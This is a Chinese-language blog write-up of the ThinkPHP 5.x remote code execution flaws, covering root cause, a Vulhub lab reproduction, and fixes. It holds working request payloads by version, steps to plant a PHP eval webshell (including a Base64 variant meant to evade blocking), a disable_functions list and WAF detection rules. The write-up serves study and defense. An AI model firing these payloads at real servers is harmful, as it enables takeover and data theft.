文章

ThinkPHP 5.x 远程命令执行漏洞深度解析与防御

ThinkPHP 5.x 远程命令执行漏洞深度解析与防御

免责声明:本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。

目录


漏洞概述

ThinkPHP 是一款国产的免费开源PHP开发框架,采用面向对象设计思想,因其高效、简洁、实用的特点,在国内Web开发领域拥有广泛的用户群体。

ThinkPHP 5.x 远程代码执行漏洞 是2018年底至2019年初曝光的一系列高危安全漏洞,攻击者可以通过构造特定的HTTP请求,在目标服务器上执行任意代码,完全控制服务器。该漏洞主要由以下几个CVE编号:

CVE编号影响版本漏洞类型
CVE-2018-20062ThinkPHP 5.0.x ≤ 5.0.23远程代码执行
CVE-2019-9082ThinkPHP 5.1.x < 5.1.31远程代码执行

漏洞成因

该系列漏洞的根本原因在于框架在处理用户输入时存在变量覆盖和路由过滤不严的问题:

  1. 变量覆盖漏洞:thinkphp/library/think/Request.php 中的 method 方法允许通过POST参数覆盖类的核心属性
  2. Filter属性利用:通过覆盖 filter 属性,可以将数据过滤函数替换为危险的系统函数(如 system、exec)
  3. 路由解析缺陷:框架对控制器名的过滤不严格,允许通过反斜杠 \ 调用框架内部类的方法

影响范围

受影响版本

1
2
ThinkPHP 5.0.x 系列:≤ 5.0.23
ThinkPHP 5.1.x 系列:< 5.1.31

漏洞利用条件

  • 目标系统使用受影响的ThinkPHP版本
  • 未开启强制路由(url_route_must 默认为 false)
  • 部分Payload需要开启Debug模式

框架识别特征

在渗透测试过程中,可以通过以下特征识别ThinkPHP框架:

  1. 报错页面特征:访问不存在的路径时,默认报错页面会显示 “ThinkPHP” 标识及版本信息
  2. 响应头特征:部分版本会在HTTP响应头中暴露 X-Powered-By: ThinkPHP
  3. URL特征:默认URL模式为 index.php?s=/模块/控制器/操作
  4. 目录结构特征:存在 application、thinkphp、public 等标志性目录

漏洞原理分析

1. 变量覆盖机制

漏洞的核心位于 thinkphp/library/think/Request.php 文件的 method 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);  // 关键漏洞点
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

漏洞分析:

  • Config::get('var_method') 默认值为 _method
  • 攻击者可以通过POST参数 _method=__construct 调用Request类的构造函数
  • 构造函数会遍历传入的数组,覆盖类的属性

2. Filter属性利用

Request类的构造函数:

1
2
3
4
5
6
7
8
9
10
11
12
protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;  // 变量覆盖
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }
    $this->input = file_get_contents('php://input');
}

攻击流程:

  1. 通过 _method=__construct 调用构造函数
  2. 通过 filter[]=system 覆盖 filter 属性
  3. 后续数据处理时会调用 filterValue 方法
  4. filterValue 使用 call_user_func 执行被覆盖的filter函数

3. 路由解析漏洞

另一个攻击向量是利用路由解析缺陷,直接调用框架内部方法:

1
2
3
// 受影响的代码逻辑
// 当URL中的控制器名包含反斜杠时,框架会尝试调用对应类的方法
/index.php?s=index/\think\app/invokefunction

通过构造包含 \ 的URL,可以调用 think\app 类的 invokefunction 方法,进而执行任意函数。


漏洞复现

环境搭建

推荐使用Vulhub靶场进行漏洞复现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 1. 安装Docker(以Ubuntu为例)
curl -s https://get.docker.com/ | sh
systemctl start docker
systemctl enable docker

# 2. 下载Vulhub靶场
git clone --depth 1 https://github.com/vulhub/vulhub.git

# 3. 进入ThinkPHP 5 RCE漏洞目录
cd vulhub/thinkphp/5-rce/

# 4. 启动靶场
docker-compose up -d

# 5. 验证环境
docker-compose ps

访问 http://[靶场IP]:8080 即可看到ThinkPHP默认页面。

复现步骤

步骤1:验证漏洞存在(执行phpinfo)

1
2
GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1
Host: [靶场IP]:8080

如果页面显示phpinfo信息,说明漏洞存在。

步骤2:执行系统命令

1
2
GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami HTTP/1.1
Host: [靶场IP]:8080

返回结果:www-data

步骤3:写入Webshell

1
2
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?> HTTP/1.1
Host: [靶场IP]:8080

访问 http://[靶场IP]:8080/shell.php 验证写入成功。

步骤4:使用蚁剑连接

  1. 打开蚁剑客户端,点击「添加数据」
  2. 填写连接信息:
    • 地址:http://[靶场IP]:8080/shell.php
    • 连接密码:cmd
    • 编码器:默认
  3. 点击「测试连接」,成功后即可管理服务器

Payload汇总

ThinkPHP 5.0.x Payload

5.0.0 - 5.0.12

1
2
3
4
5
POST /?s=index/index HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

s=whoami&_method=__construct&method=&filter[]=system

5.0.13 - 5.0.23(需要开启Debug)

1
2
3
4
5
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

5.0.13 - 5.0.23(利用captcha路由)

1
2
3
4
5
POST /?s=captcha HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami&method=get

5.0.x 通用Payload(路由解析漏洞)

1
2
GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id HTTP/1.1
Host: target.com

ThinkPHP 5.1.x Payload

5.1.0 - 5.1.16(需要开启Debug)

1
2
3
4
5
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

5.1.17 - 5.1.30(需要关闭错误报告)

1
2
3
4
5
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

c=exec&f=calc.exe&_method=filter

注意:此Payload需要目标在入口文件中设置了 error_reporting(0)

写入Webshell的Payload

1
2
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['x']);?> HTTP/1.1
Host: target.com

如果直接写入被拦截,可以使用Base64编码:

1
2
GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'));?> HTTP/1.1
Host: target.com

漏洞利用危害

ThinkPHP 5.x RCE漏洞的危害极其严重,成功利用后攻击者可以:

1. 服务器完全控制

  • 执行任意系统命令
  • 上传WebShell获得持久化控制
  • 反弹Shell建立后门连接

2. 敏感信息泄露

  • 读取数据库配置文件
  • 获取用户数据和业务数据
  • 窃取服务器上的敏感文件

3. 横向渗透

  • 以内网服务器为跳板攻击其他内网主机
  • 扫描内网端口和服务
  • 访问内部管理系统

4. 数据破坏

  • 删除或篡改网站数据
  • 植入挖矿程序或勒索病毒
  • 破坏业务系统正常运行

5. 供应链攻击

  • 篡改应用程序代码
  • 植入后门供后续攻击使用
  • 影响使用该框架的所有站点

修复建议

官方修复方案

升级框架版本是最有效的修复方式:

当前版本升级目标版本下载地址
ThinkPHP 5.0.x5.0.24+https://github.com/top-think/framework/releases
ThinkPHP 5.1.x5.1.31+https://github.com/top-think/framework/releases

验证升级成功:

1
2
# 查看 framework/src/think/App.php 中的版本号
grep "const VERSION" thinkphp/library/think/App.php

临时加固措施

如果无法立即升级,可以采取以下临时措施:

1. 开启强制路由

在 config/app.php 中设置:

1
'url_route_must' => true,

这样可以限制只允许预定义的路由访问,阻止通过URL直接调用内部类。

2. 过滤危险字符

在入口文件 public/index.php 开头添加:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// 过滤控制器名中的危险字符
if (isset($_GET['s'])) {
    $_GET['s'] = preg_replace('/[\\\x00-\x1f]/', '', $_GET['s']);
}

// 过滤_method参数
if (isset($_POST['_method'])) {
    $allowed_methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH'];
    if (!in_array(strtoupper($_POST['_method']), $allowed_methods)) {
        unset($_POST['_method']);
    }
}

3. 禁用危险函数

在 php.ini 中禁用危险函数:

1
disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close,popen,dl,eval

4. WAF防护

配置Web应用防火墙规则,拦截以下特征请求:

1
2
3
4
5
6
7
8
# 拦截包含反斜杠的控制器名
RewriteCond %{QUERY_STRING} s=.*\\.* [NC]
RewriteRule .* - [F]

# 拦截_filter参数
RewriteCond %{REQUEST_METHOD} ^POST$ [NC]
RewriteCond %{QUERY_STRING} _method=__construct [NC]
RewriteRule .* - [F]

代码层面的修复

如果进行了二次开发,建议检查以下位置:

  1. Request类:确保 method 方法的参数不能被恶意利用
  2. 路由解析:加强对控制器名的过滤,禁止包含 \ 的特殊字符
  3. Filter机制:限制filter属性只能设置为白名单内的函数

总结

ThinkPHP 5.x 远程代码执行漏洞是一系列影响广泛的高危漏洞,其核心问题在于框架对用户输入的处理不够严谨,导致攻击者可以通过变量覆盖和路由解析缺陷执行任意代码。

安全建议

对于开发者:

  1. 及时升级框架到安全版本
  2. 遵循安全开发规范,对用户输入进行严格验证
  3. 定期进行安全审计和漏洞扫描
  4. 部署WAF等安全防护设备

对于安全研究人员:

  1. 在进行渗透测试前确保获得合法授权
  2. 使用隔离的测试环境进行漏洞研究
  3. 负责任地披露漏洞,帮助厂商修复
  4. 遵守相关法律法规和道德准则

漏洞时间线

时间事件
2018年12月ThinkPHP 5.0.x RCE漏洞首次曝光
2019年1月ThinkPHP 5.1.x RCE漏洞曝光
2019年1月官方发布安全补丁
至今仍有大量未修复的系统存在风险

参考资源


本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。

本文最后更新于:2026年3月12日

本文由作者按照 CC BY 4.0 进行授权